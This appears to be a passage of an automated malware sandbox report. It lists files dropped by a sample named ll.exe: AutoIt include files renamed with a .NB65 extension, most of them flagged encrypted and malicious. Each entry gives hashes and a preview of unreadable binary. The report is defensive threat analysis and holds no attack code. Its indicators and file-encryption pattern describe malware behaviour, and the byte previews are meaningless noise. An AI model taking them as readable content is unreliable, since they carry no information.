Preview:.-...-.N............~.).....4.ue...f...(.Z)*y....@.K....RM.p..W..[...Y..i.q..b.m.i...w..D^=..,..(E.KI.......T..S.vj....G......-.b.g{.Lo.%.]C^..O.|Y....<A.N..b.b...)3Y..@.P..@...yc.(.,.R...^..=..*..p./...GS.l...4...J.`8.B..9......L.IXC!n.6.uv...N..T...!..&+...5.^R `2..}....qA...&.......X3O...*bl...`P........$.ft..].p..s.C..7...ddz....z.j...)D.8...e.B....A..3.m.>9.:7..|R`.x.\.`.b...^Gh.P)Y..<....JCu.L......9....0y....x..%f..x....._3..l....1.I....!._..B#bq-.../../nz.4...5..1k.....|)...l.$l~.......1 .#..~...]7.@.....Tv...\@.#....0.~"~..s].pZ)..j...F..DQ..Q...zSL..#I.".3.J.z.q..".i.i.....0..v..^,7.Q-..}....V;adH=^...:..6.........#....^....2..i.s.De...'...vg.\4t.\.......u.[...8....G.....d...h... .s.xl..s...U...'...:...3#..i.....f.../.e.;H.xA.fV..;.......`C..cx...Y....K....g.....z......X4.....7..........z_...oF..MA.....8...`.._.X.Ve.2.#k.GC](.5..K.zK!...BGc..........s ..i.4..[T,..!.....z...-E....Z.*Y.v.'.TB...zw...(.......j.@u!.,..)......v.e..

C:\Program Files (x86)\autoit3\Include\GuiListView.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):226347
Entropy (8bit):7.999183491847939
Encrypted:true
SSDEEP:
MD5:A42E3BADB18F284446F01CD208296640
SHA1:6D2C0CB4C085CFD8CAF72B39C6913B373D52BA8D
SHA-256:7726CE6EDD8744E88CBA797CF16FF9C69C3E8776A0620441770AC25C1A9AF048
SHA-512:521BDFB675B7618A566C746E742932D02F10DEA7CC6E449674F43F5A43FF91548FCD166117E036DDDB56E47A061B71EA4EDE55AB43DD58573A554F98089BBEA8
Malicious:true
Preview:(.y..T.H...qLUC.6.E...w..1W........{.n...F.%,....l...b...7.o4A.,.9jiz.V.i)..0....!W}Y......~..d......:'-..X"4b.....bIn....D.X8Y..AA....C.D.s.....8.|p....s....-......A>.Q......f.Tt.<i..+..Q+%.)C..M.vv7%;Z..G#(&X..2.....q..9a..(....1i.E..d.#............Vd"..'..xF.=..G...2....^..I...J>.]....!...x...8.G..\x..Ig..<..^..:C'..a..K..F....D.......M..J....I...}d..?X`..w.m.yQ...dVn%..L.GM.]wC?x.".!.}&........3c$.......r.....7..[....V[.A.s/..Q..F..._.*P.......].?......,y[.y....g|*.+0.4X...=..X.60?.Hxo..Ig%D.&q.j.....iW0.B..G.....i0a4..a!=.......n7Cf..3(d.w.'Q..6..~..%..F........x...v!...U&......F=s!....._..*....G6H.)k.].j....|g..%.....Z.]T%+5..E...M...D.3~W....1|....;..b......ob..p...X^*S.RS...G...A.B.!.f:...Qws.#M-7.q.&.M..-X...m.....S5.x.."......F..O..E+1c......g...>.@-........N._..k3...T!Y,8{....d...zw.H,4....8.-i...&..vz..)...t....6ZvV?...1SE<o...L....".q.M,C)8.....Z..1..BwJ.`;=.......*5/e.H..4&n^^....l/.R.x.7k9......p..?..}.p.......[..u

C:\Program Files (x86)\autoit3\Include\GuiMenu.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):62444
Entropy (8bit):7.997302633453676
Encrypted:true
SSDEEP:
MD5:E4E62DBE644C75D3230BFFDF35166109
SHA1:D50E9C8BC424B27C47566804DA67A2651B408F18
SHA-256:7C73E339662B583BB46F82EA2E89AB4780EF895449D098E9EE8E456C4B5CBDAE
SHA-512:B10CB36FF92D0354926083A44F682F623E55B7B15FFAD414F5317B43E08D2BAA42FA1DE2E16CD4038CC1844532B1AEB28AB8FE4F8AB121840A928E816BB9829F
Malicious:true
Preview:.g9..V...>.D..+.N.(......... .&.[SZ..g....S.....Ctm.XE.......;X..A.~&.E..VcjC...6a.|.........-.$0..YR...{..`adZ..2~t....o......e....g..-.?1.)5\.)T.....w<......DP...X.....s....v.r..A.A.u.-...X.=..yH..R.........iac...L.G+.l....V).|.....!J;U...R..]..Ul.uVvl+...a'.k.=.......T...\.3.*...XQ:..{...h..^),...........s...g.W......WM..........L...i.m[..,HQ....]...<&...-..7r.L.i".C...(...E.x.."][...|Ml"*........dNO.5rt....y~.^d...e.;?..p..<...B&.2.WM)..%b..Vl.....A...A.J..!&eC....M u..Y<t.g...].uj.!>....S..6.\.q.(#=nx..*..-X;...Y.di.....2r...N]....l.F...(...b"ih...J.va..b_P.s.G..YK.c....m$r.0..O4wc..9[.R.'...I..:....H..|&$....../..{....z......>....+9....Y.Mr'..#q.......5F`p0q..e$..o...)x....X#..[.s...n...\...L...U..._..vP&e.R..w....h.8is....iRD.[...m.i....Z.>...P...y.m..>:..x...%...X.}W..[q1}.....;>Q..=.]F.-*..'`.........&......:..qc...v...+...fMC. ...q...IT>..tl.&..@..i.{....$7,9L..k..b.7.....N..yi..a.x..Z....Q-..1^3..7.)..YqZp.fBI6.....$...G..S.pP.

C:\Program Files (x86)\autoit3\Include\GuiMonthCal.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):45941
Entropy (8bit):7.995628305403706
Encrypted:true
SSDEEP:
MD5:1B457D5C33723179703820FDC5CFA949
SHA1:D2335FD3AAE30AA4F1C672140A19795F95C19082
SHA-256:ADF1FC0A15CB28160D5C153A0130B0A3F1013F4B7B37C211BE1A6A6C3FB6F679
SHA-512:BE2B87D53F1C3CD0D4DEC0B8CA6D0063CDBE029A5EDA54325EA719216DFBD87B8A3A249EACA0A42095C86CB820E82DA313E1BDB73EB5709C74DD88E804A18FAC
Malicious:true
Preview:.qf.......5T[...Hh...).%&#......w.>./...G?.<D5.{.|V.......`.G....Gt..d.........H....m..L.l..L...$.0ky...j.y~....?...4.I..S1.t. .lj!.[.!.............(.d....S4.PPE..|...xmT..R.Vq?...D.^G..Q$.....p....}R..........g...6{i.v.S......1e".r.....CiP.......E...Ybm_..u.J......../..:....|w^........."..J[.|.]\mT......j.h.bJ...H....L..ywzgGx.co_).WxG.(m..5..D...B..l..^.........k..../.k.'.).D.p.t....7fG...[.Q.mD,C.p..\..H.....1'.6.....&...=.....B.r... .$...F...S.u.b.....E.0g..".j......m].....H..(.."Tae..L.i...3:..#a:.$j..{....dz.]...Q=....p....%.p..c..b..fV(...a<......1..].....f.....U.._.,L2.+..NfH.....k.hrM.{W$..-...@......d..W.".wX]*.y...<..w.a)..b_...C.38....'.DCDyO...=`}.}jW....SC......K..y)..z..%.f]"..65[..)....S|.....2.....s0..j.z...p......._A....a>.(/.(^f(..-.a..l.....kuU...t.N(..#{^....... Y..12a.us3.J.f5S.(..q....^.8.2+.tF2|.O.N.=.,+..l...6...Xt..P..a.TU....*.l.K'.....l..........%....b...k7.r..|.`....E.(].0.N.C\..,...a.j||...'[W

C:\Program Files (x86)\autoit3\Include\GuiReBar.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):70334
Entropy (8bit):7.997362215864107
Encrypted:true
SSDEEP:
MD5:B723CA98CB97151D2E21EFC457C7F6A8
SHA1:5B6EC7EB737D9D90CE68322A42DE5B7B9B654978
SHA-256:0E2BA1994A531440CA2B1A9639F1E0C550ECA8CBF7C7E99E03BD737A47D7C7CD
SHA-512:92C716EE69803DB9A760B1B33CB24CCD000C850F7962D3ED76B56787D02E5D7978FA533AE6DD4431E720C7DB2405E1829F59373E651A460C17C03C13ECDBC973
Malicious:true
Preview:.I..!.y%Z..S..b.}...b.^.j(5....o.Qd....zl[S.....?....p3.}'I.]n'.....&.l.'..ib..........9.w~.|...5./....^..\... ..jX*..7 I.....|.;.4;O.....{65dX.8...(..4.j./.6..!.z.CB.....P{.iO<U..pz}..t.5....1...r[y..T.98....J.u>..jlxm..?\.w....KM$X...v.u4?...8..~;....IQ2..........R.E.\b..hw.G..p.mwo..[.A*D..O....&......![..S.:.S.'.;C....~rp#p.:..Pn.l...,.X.....\Y....0...2.X5Z..|I.g.u.5.J..7y#..s.G.8.S....>.GDD..G..0..0......}3P..zmi..9.2...P...S........RJFR.I....=...."b[B...N..U....3....5..J..p.n..........K..\.&;..._...'.'O.:...Z..eKc..M.....M.@h.....|L.e..j._...c...3b.=".1G....\.W+.Z._dx...V....?*.Q......Ys.0.s3.h.^._...C..L..ES:.0dW....~....[..^.....C.4.W.)..`.7]0..G.3..5Y....<..5M.>.g.=........S.].%.56}B.r\..."pw?....f..$.Aje....$R...-.....H..+.m.....W.#4B.*(.#?&_T.....+.....@....P.Su..E..;*p..sB..D.M.m.C.GwhdT..'<o....9..............N....G...i.L.M.B9...z.....&...!m.7].6r6~5.u...<;...&E...#^h..J...E`..u.c3..k.86..B.W.+ST..%d'l.=...|'c'.....}e#.b

C:\Program Files (x86)\autoit3\Include\GuiRichEdit.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):209711
Entropy (8bit):7.99903774726029
Encrypted:true
SSDEEP:
MD5:E38FA8932BF36858EEAA5C1F0FF9B48D
SHA1:AE9B78D4BF4B2CED9F429D877F68F313FD126D5C
SHA-256:A4E22A83F000FEF095C2C409F5EA95EFBD3399B1DAA7F22A8999094199B6809A
SHA-512:927B366E0F9189A730ECDB566356EB0EB33A40273F6FC7193C3318AC19FB89C4B924832A73D44C31582D27395BE321014F2654A25A1D61115717771439DB6B66
Malicious:true
Preview:..2H..F|$.P..R..?....,.. ..v.T.`.!x....w&....).V.B...b]|...J./Q?j....R...-../.7.]....H.......g.]%^.......j,P.x..A.h..NE.T.{...(]#..6....O00...H.2E&...I..J../.ct..O...4.cc.#.7...o...l...r....u.>..k....Ef...VV,.vH !.Z.MmV...v6.f..F...o..$...D.f..jAfU.lV.1g...gn.d.(.QH.eWe.......x3...lP.:C.....T......,.X.ma..h.0.......z".Y.NB@.9..........9...w..'#w.s.....-9...'i=[Q.o..y0!.m.@.*)"h+...0. .2...d.Eq..+N....c2Fs....#....F9K..)...../h...4..u..0....2Zs.-.;..1..N...w....R6:i7..WR...8...*..i<'.Iy_.u .eWQ....nH........`....u.w9...4.~...:.. .:1.~?........$.!....9..T.XR4a..,...L...s^...G_.P&i..y6s<.gO2w9-)....l.....X...6...w<.......H..$.v.Ow..I.;.c.....P.Lu...3t..R..].....a.5.l.M.F.f..Igz#.. !W.H.....Q.T...2..n.B....H.fC..a......./l..f..l$..Tg.i..<r..^.P..}L.<$...c.8..S.'.dP..6....=9tP..k..vY..;..=U...|%..3.[.`.&Z..uu{).W%^...'.......s...h.@..\O9..B.H.f.j.59....u.V....je5..G`........#.m=8.w.:....FP..b......L*.t\....t,...Q..V'{.Qf.s9.A...wv...j.k...'.W.g

C:\Program Files (x86)\autoit3\Include\GuiScrollBars.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:DOS executable (COM)
Category:dropped
Size (bytes):25250
Entropy (8bit):7.99377688416434
Encrypted:true
SSDEEP:
MD5:97FCF4434D673A64ABD4B1C006ECE2D6
SHA1:D8C09B74690C91F422FC44ED4E801BD20C8D7A94
SHA-256:430E6BA6D531EF4DBE3707A18AFD970654FCBC63EAC2AFFF345980F64976D044
SHA-512:2F18B8FE79B9B733DCCC564A9E6923E0A977616E947982543F6317822E6817424D65A2DE802B892EE987505AC6A4A1775F48606339B218A372B74FFBA14D699A
Malicious:true
Preview:.o...&.i.e.l).......TTcO.Z..mg...J.m.......Y_..Z.r..U......ly...pR<o.q....._.4.3..bM'j...|.r=...#".6..a.9.Hx....d...Q.4..,p.ao..ps..s....(.O.....4.x..T.q.T.:.f..J.o>........W3.{......wf...".V.lD...7....l^.......v.&^9.O|w\ D.....nh...C...I...|.^.....0..IV..Zv..W....../.Mk.(kJ...C..T_.`.%.J...^)....._.8...C....4^...qqI....&..{u.ily...E..(.o.t}L..V0.M..0....+! ...;hd...O%n..^.2..h..t......aV.....(.a.1 ...B..]...|j.EZh.t.=.^.D.P.....q0.^..G.%...k1..q%.s...$...c(.3<!ix.F....,'D.|.k..-.~..R.V..[.....f..J/...|.lt@_Gd.7'\...w6....|H.....m.......a.~.P........'iP$t..Z.m.f...P.....Z..Z.?.M.&."-.>.R..!W....Q.....X...ArW..{P.......[tSB2.I.....=.12"...`..v.....OS..N.F....{).C.`=..4}.n....'..........+4...p ..^Y..././m_.%.IW.q..r..._........".. ..^.z.r.*$6S.>......,W.)........[ ...'..J..m.`-w.h..u...\..G....@m.......kQa...R..'....i.......v..q..d.....cTW..o.h.3....!..X.$....s...[mbvZ.YR.y......Q..+..a..[......I.:"..'..A....<.j.8..Zo+?ZIZm../Mp.h....]F.G..d...^&S.w..4{...0.

C:\Program Files (x86)\autoit3\Include\GuiSlider.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):27308
Entropy (8bit):7.992763743250178
Encrypted:true
SSDEEP:
MD5:0C8A9D3A950BF786C91484A3FCCECC33
SHA1:75B545B11615C839B5C97FB494E549A83BE9EBDF
SHA-256:4958896D4B54F57A59F95CC8E8B14B46D8F8A937E32BA01071A7507FEFCBE69B
SHA-512:7053A7761E903E7C1373EB085B13FE720F3E8A7912C8A5D581FCF1A7E7770D463DAF61EB63663C43E4CE489D7CA388385E3F7B0BD54787E088080D4CB9C25537
Malicious:true
Preview:HJu..0.....A.0.}.&...e.....t.........b..KD...2.j.H J.. \R.2.,..i..q.R.../.O.k,,%.+M..:*.3r...UG..(.v..A..o5..t_.._.. .?D3'..d.<[...,....R...|c....78>.$..W..h.../.0.=6...%....p?..........J.... J.......2{5.%.y...S)$..E.....%.W...cf.L,.lI/$..X..9.........=..?.z......F.Q3.C.L...|....+.SI.1..".g....-..#.&<..|..=dZ.[..R.....$G.._..Y.....\/.w... .B....Y.t..q..c... .w...!.AK..m.l..I.....U......Q;..G......J ..V7*....+j.Hq...37.#.L......V&...Wyc..v.D...x.9`......C..0.~1 ..Am.t.z...T.T.....&"M8..%..S....:..O.G.ZX.t....f..7...+..LT.Z....,to.1..t,.....Yl........r.j..(../s.).}.Mm./.....C.).%i ...._.n.e-]..9=q.k>.#..\.d.Xm......h.W.La.~o.x..l....)..J..G-.q?..GO...J..d.*.....]..).'D3.h..Cxm...O.8.......7d..Uo.%..JJ.....@\..n..A.l..D.6..1.....t.0....}[....x+...U\.dC.JD..T..N.....[z+.0.p...Zc.{..........]......./.6g...^...).....@3.6[...#.,R...n).....;E..Y.02...<%w>wF... ....G".O..Ae2.lG.F..p..u..aSxXd&....q.8^..2:..FX.../dX.GFuf.&.3..p.....$..b..v...8...

C:\Program Files (x86)\autoit3\Include\GuiStatusBar.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):31881
Entropy (8bit):7.994787306781996
Encrypted:true
SSDEEP:
MD5:218A64F93E238888015C0BC00CEDAE32
SHA1:C05078B485E6DC898150ADB098D6BD06DCD27CD9
SHA-256:D6A06D6DBEF2E7A26425822CA14393348F70A5FF256E0E1C5C73D714D1DDDAF5
SHA-512:9610192B8094E78F8B2DA56D3D6B65C3D897ABED2ADC64657527260163F794F703053CDFE279C89DAACE9C7FFF17E3BF35CACF5579DBAE445D29470021AF00F1
Malicious:true
Preview:..I.v../U..DN...7.Pc...3....X|y...Z...6.._U..0.R..S.$...z.'G#b.V<..L.U^....5.....,<.>)..Px..k..\.......$..^.bLf .M.$.W.%.T/..B*X)j.7{...........+...j.."H..f.W_h.....nP..Q........{..a.Q.y.g...J...#.9......@v..U..=.k....$...tw.c..,W...=...T....".H.!.vF..W.B ..ybFRN...D...@......N.l.#bmw.V.'o..MQ1b.B....;...@qI...3.n.......BD......Q..-/.C...3l.....F.G.'.r.s....7..l].d}....K%.g.q;...[.3..EB..,.b....o6|d.@..;....t...6.8.*.KiO#..F...@.e.?e(...ud...Fg....V.=.....G.....a-.v_....}...d........c....=q..#....2c...=.Pu.....u?..XD>E.?.9.5(....[......c.4.:...........W.8,s....U........)2......vEs.....9<Y\...7.+7...L...k...p}..SCa[../...E..(m[..P...m....(Q..>L.zW..$U .$..A..z.]...7..U..q........j.C.}.3..Q..r..c.G.......c9..6'+..Q.^.e.....d../.%...'......|.|.... %QC.j#j...O._...5...5 ....X...=m}.d....O..?..R..D.R.".rW...:J.q.........b.e.b.Pb.]...Ji.th.K.8~...K.qN..1..t.%T..&w..4.a.KR...&xX...y5K.;..b`...LL.q7.....5..E.......<...r.Z......\sW.B0...6....

C:\Program Files (x86)\autoit3\Include\GuiTab.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):42001
Entropy (8bit):7.995497296587148
Encrypted:true
SSDEEP:
MD5:E5EFFA6BA41C5F23594547120498ECF3
SHA1:A56BBA6C65BBD4EF255F72F467616310C6D9E36F
SHA-256:94DEDD3A400B5C5DA7C6B90E886556569BBB623CEA8F22A4FBC5F603DE18CD46
SHA-512:D9A8C30FA081EAEA0CB2DF3C486BA08C7CFA42EF806E926C8057B1286C546A2CA3940429E2B405BA7B84D79F62C267696B116068D98357CC1DD3D4120B8D84A7
Malicious:true
Preview:.,P.4..Q[C......Z..~...?..Pa..,.=./...\R.....=..A...c..2Q....0.....g8.iI....}'{...86.g..,...'}.....,...WL]..!..7...EO..R.........v..N>...)4...>.in.f.C3........gN..S.b.+.....:...w.r...A]O...h.>..v.>....O1Z.K...e<.v.....k.~..H...n..]2...0..G.:...N_.W.:!.^x..*~=k.`.Bl.*$!.S....t.z..pa...P...).0.sXh:.X..h.X....l"'O..*.l.F....>..%...Y...d.r|.!.>"...i.`..Pu.=...._K.%.2.i..X..8.3$I...+....5~.U.;.....!.-x..........`..,.Pq\/.......Xi..F9.Y.t..}.&:4...7A.Q......:G[..i..h......|.....ii.w.....*.k#~9..I.d.r....S.#WY..3jTH..MP..!..u{.)7BH.g(.......X.(m.#.@c3..]R'5.!.m$.j(x}.'36..=.u..r...n.r|9.]...$6....,M..b.J.....".D._.d|..).....j.u.....k...=..4.D0..G..fDLp...'#..y..Z....pYGQt.?.>V......a/.^.FCO.Ja..G.t.Y..<.Y.W..<..a.v..........BWb.^..t.3-..*C5.+..........$.P.yDs^.'y......}s....j.5..T}...y........r.6...w..$7.<..U..{PN.ZHR. ._.%cN..]._..4....m.J.+...\nls..E..59@..P..+xu..N..E..@@E.>........n.q..[....Xy..3..{v.u..c(.HS..r...M.D..9......

C:\Program Files (x86)\autoit3\Include\GuiToolTip.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):49071
Entropy (8bit):7.99613887082047
Encrypted:true
SSDEEP:
MD5:B060F245CDC3094B64046DDC0074E92E
SHA1:2CE518DD2D3988EBDC7409726E495327C8627669
SHA-256:253CB2F5BEF03EC09B25512BC71FDB906D322D3BD3768342BF921B149100C595
SHA-512:7E2F3560EE677386B74A20F998D03E42AD7BB92B2BDF8D28B58B61F4F35A7954B223DFBC9743541BF192DCFBDF66DCDCC4314C7F9726667357F94FA132F82A18
Malicious:true
Preview:.uR.1.!k......hj..o.4..V_Q{;.4..u..QNX....pE[D.NzM..R..0Nf.g,.....U.....gf...v..>.9......"...U..o.$}d'........gw..u.U4.#.../....T~.QL.K.KN.'L.=.#...0b..8...D...7.|...1b...W.Q..k..D.M`.}p..h..4.24'z.N.GYo~.m+.8..n.|.+..1j;.S.Y...$...^D#Q5.e...0.c...f..|9.....S.\....'....c'..v.jc.)...#..P.......O.........{......fu.*D..9.b.kp.J...Q..$o....Z.e..,..n.E..."r}.seBf...A..t.by...y...F.~....#.`N..2..9..|s.5.27..i...y.s}{..q].ESx.-2.ArwS.cc)3.f}g..n`R......Q......J.4..+.{....6'Is.{@.e.....c~+..K...p.=g..!.MY.&..!Z....B.v<..,V9(C.%....O.Re...:r...G.+...RO......D0+.m.....R.-?ZL..b....3.(. K..H.........:..._sl..O.d..E.R.......#=....`.ivt..${C...4.$8 d~udC...M...Y.......^j....z..a.`.h..f.C...P...RI.*...... .~...VD....Bs..jB.4..*I.S...Q.p'.X....A.Y pyU.fF..^.....P2B...x+0.p.. .i..*aS.'Z\.@...N<%.?.........].t....*L....f,cw.......-}.*.\.....LZ..`.8..L...x..X..hb.-....C.....G...Rr}...R.<..P...\(.GY.%$gn....Ex.......-.`2..|....T..D.co..a2..b..8..3.....e6.>......~.o.

C:\Program Files (x86)\autoit3\Include\GuiToolbar.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):89950
Entropy (8bit):7.9978731788399555
Encrypted:true
SSDEEP:
MD5:F47CD5BE28CAA0BC27C97B1DD60BF8FA
SHA1:989C8E5E692BBFCFB6CE0AA3FBA6A69CA292D9D6
SHA-256:8FFB5914714583D77D5FB8982EAAE5D9E5A6AB6A1E6328A1976D321507393A84
SHA-512:80B5B35517D72917ECCE6EB884D1525A199B3AF09BE30D9039D52747C38B51FE0A3D2A052ED79B5499F2373FC719F2C5A489BAEC7006FF31DD072DD5FEAA1F2D
Malicious:true
Preview:.j.....B..w"..3....J.m...[...zd.[.#vry&Y#{. ..,.!.....#.....'.97..t.;3.p...../3.$.J..=...'...r......h.Or.9....k.^4......fVr...s~%c-...c.<..E....I..&..-...Fo.o...Gx.....`.....B..`.#..Bi.@9..n......rS8....wM......E.P.E...C.f....O...H0.....>k.....HoZx.a<d.P....S&......(...R.j'\.;..r.My.Ss.E-.1.b...s. E.......R.k....s.....%..:.,.wk./]s>Al.b....@..;....e.YT.N..%.l5r...`..............b......I..H/L.f..#.e...q..ER..;..._g.q.B._Dc.s].QO..k..._..W.I%..c.....Ab4..bV].;mXy{{~.kG........b....p`I.F.>....G..y.7....6..Ih7....)...K=...o.#(.W.4j..r..b.>.c...I.....<...j#q.c5@_$o........0....|."!.... .H...a.WZ.r`<.h.B._.......>= .%3gP:.v.v...f..mF..-kx...-.o....+.-l[..&.jx.6....w7L.;+.=.(...Q..<.&...J.....D...a....:..[..].Cuv.'.D......@1uAz..C.7c.FEo...EEdKz;:."....h&.x....t>....[S.........J.......~.id.Q. <.{.>........S....$2.q.A...-x.....J'...$f.o.).....`.T..k...uAb...).lZ...N6S..R..5e. ..i.H.]t.&......=..V.9 h.U+.....6u"..?(...i....A....X..q.........._.

C:\Program Files (x86)\autoit3\Include\GuiTreeView.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):125839
Entropy (8bit):7.99850378412726
Encrypted:true
SSDEEP:
MD5:A39322E2DB48AD1A1E53FBAFE7F300BC
SHA1:8D57133C2686BCE88BCDD0ADBE420EB17D83C0E9
SHA-256:C0E67526C603D2947ACFE81B702654078192DE62332A950E150CA810EBE00F6A
SHA-512:9B437003FBD274CA4CA847F7321F4DE41060C967EB47E0B7BD642DDAD816ACE325ECF90440E43FDBDD2F63AC41F677D74D708842BF993453CC48C7307F79E239
Malicious:true
Preview:...K.==..+/`.X2T..8}.N.N[...5E.230.}hn..C.........>e..BO{c<^.]..)[S..}.NP2.-J.V7.M.*7...8G.}.....V..E...oB.b..o......|T..:%R..Xf..a.s....--.#i.5:....&..W..|i.....@...2..f.K.aBQ.;.q}...]../c....Md.@L~%{VMS...:jj)YV.h.E~(.K,.{!.....ko..H#u.,[..z8.],.&..u.N.s....Z!.\{....~..W.L.{.|. .[.{..{......9g...M.gv."...1T.5...3eU..dm..Y......\..+}..yH.v.U..BkX..BE..m'.':/....8.Cc..-(....%3d.=.P?...7..&-l...?..8|.a..D.y2_%.T.Y`+..\7.7oY.(... x.Y.oi.O.g..a.1{..f.D.>..S.#.i....0.....h.v..<.5|....tS...+OI..l.&...g.m.0.a7..+.y.. KI.......CK..P.;....r...O.=.X.a.0..Ntb1z..#x.[M..6B..u..{..........Y7r...c.....0n}.euGSj.t...%[...Y...{J68.Gr......Y.z..x.....;..-2.:.....n. ..@.@+.Q2.....V..v....\...S..$..m.?..[......]..0_.C..3VQ5..J}&..e;\..............o. ....Dj/w.S.I.l=....Z.9..Zl.x@..fM$.._.{. ...........C..l.........1....V.(.5...le.8c,.*bU?~Y3.1{.{.9...`[#..h.1..H.'F5.IUd..X...y..._(....F...a\..;].P.:}.6<.#...eG...._O....l.e`..I.n..%..V".c.....?...ZG.U]E...d...V'.]k

C:\Program Files (x86)\autoit3\Include\HeaderConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7547
Entropy (8bit):7.972515611521871
Encrypted:false
SSDEEP:
MD5:61F6DF509D32C61BB7BDCEC0273C103B
SHA1:DF085225E7F4C82956D9EAE6362C8F48648275A2
SHA-256:7890B63BC05A1E2EBC1746548C7A531CA202DA7692421B6AC481B4B1F8159179
SHA-512:00ECE5C61C15BBA1B8A2610A59DD591215DFF7103B6716CA61FB04B713A9835F0DF53A5E6C84E2704135A34153680A3C10353453AFD7E2AC771D997FD3D92093
Malicious:false
Preview:Z^.....>.].b.o.~......G...WH.p.\...F...w;.~....N...u........o..1y...@....."..%.K!.S....Yyj3...k..=1.... ....!.Z7.R...E..."..O.5...X..E.xToJ...o9!G.....u..}.@....... t.p.$.Ve.#..n.....f...V=6@./l.PE.Y..QP.%...P.!..P%q..."C .S.o...i..:..<.KW....B..I.......2B"`<.T...~...u.....J}.(..p.....w.>...T.........=...Y.Nu...\.YD.d.x.......k]... ..%..7w...&!...W{"..6.......kB1{..5R.J..+....8%...`$D.^8.kG.@..hf@.><......3.}..0Lf...Pb...\#F..{.o[HOH*r.UAH.....%C..P4.j....|n....1d."...kb.j.m........ZQ...9...8.....>...$t......V.hU.D..uM....U.x.}.w.......N.-.....}X...:j.M.......5.O.9..*............I.Y......{=..G.Ak.b.&....`.l.L..A{...4.u.Gv.R!N7W".l...6...uF..#..~......o,.l&4F..c:.u..3k>...)B...kQ..o.%..I.b..e.v...fZ..!....g.>..T.;..p.M.b..l....%....'.zU;?...-..T..=..%.0+E.`...p?.l.-.X.2...7I*.l.cV.....(.h...'.3u..P...JC.\..d.7y.....D./v....8.~....rC.W...s.'L...1Q.~<.g-......|=.....I0.t..B.d.ABh.aK.h......x......N...1.QP.7.Cbn....O.Gk.K..<AzX.^...M..J f....

C:\Program Files (x86)\autoit3\Include\IPAddressConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1908
Entropy (8bit):7.893414918420629
Encrypted:false
SSDEEP:
MD5:5B643D8EFE8B90E53E8A79AD4C6E4573
SHA1:2E0AC883BA08345289A7BF7AECFA8B2B32C2AC91
SHA-256:FD9CFF2E443DF7ED9B90E4D256041360C1DD4D2F9CADE65B9BEB80C928776D37
SHA-512:33F6F7D97C254E9A3E5FE3603F17507725D6A3B45282FE029DFAB81ED72A5597A05FE217F3744EF8C99D75A9442B2C7F4ECF59FA52E2CFFDF29A508009530E53
Malicious:false
Preview:.....?.C.U...<.G..y.;..9..._.H.u..w....&.94P.E.g.._...[.B.o...rD.H.3....iCT.pK.O.....P.t8._4B'.7Sd....B.0.,7...?d.41.....I:.3V.O...[]........?.....,.....Kw....8.dX6......>....P..ww..g.1y.~.l.y"......d...f.5...&R..7..W..M\,,...w8.G.cV=...!.b....Y.J-m ...J.T.|.{.pw%.....XL.4U..XBS...F..<.q.....~..f.knG.....%...oRi....U-..Q.Z.L......s..I.../A..."MM-..E...d.%.:$.....%.e....O v...yk..#.&.;...p..o!R..0?...#...|....+h(`..v..^SJ....fB.._m!.f..?%;=.t.wc,..%..Zn."-...d..QE.Q....{]X.t..`........6.P?f...[...._..G.}N.6..x.[>...?.F2....Y.T....Y...`E.:i.t.f.x..2......4]f_.../.?7g....7............C*ni#rbF...#......7.....9....G.|p_R.3....U.<x.r>.3......9.nF....._-.#B.V.s....m.D.b[......b.s..`...0.1:.W..30P.......p......J....=...CH..._r....9jKO:.......N.o.......m6+....I:]...'..........y.N>%DB.p.xo...Koju..`i............../M...B...=.R......2.B.x.G..... P=CG...l.._....1.."...j.m.f.<...\P{7de.D..-.<.`";...S\.#..d*...}K....r...8.l..}F....O...7...

C:\Program Files (x86)\autoit3\Include\ImageListConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2279
Entropy (8bit):7.908533723609603
Encrypted:false
SSDEEP:
MD5:9044231692B0D1025F0191C26F1E03DA
SHA1:0C98D7EAABEF9099C6DDE23C695FF9E44A98981A
SHA-256:F90CAE8ADCEDA210E83A21DF8C2E6FE058F03ED33DCA9A8D38C140FDC20BEE24
SHA-512:73E645877C62884070C65CAF3BF59BE498E1A5DAC79833349617071D3A851C53AD7B202782BCED820A696543661E5E3EFE3AD20B4BB126136E86B65584A07641
Malicious:false
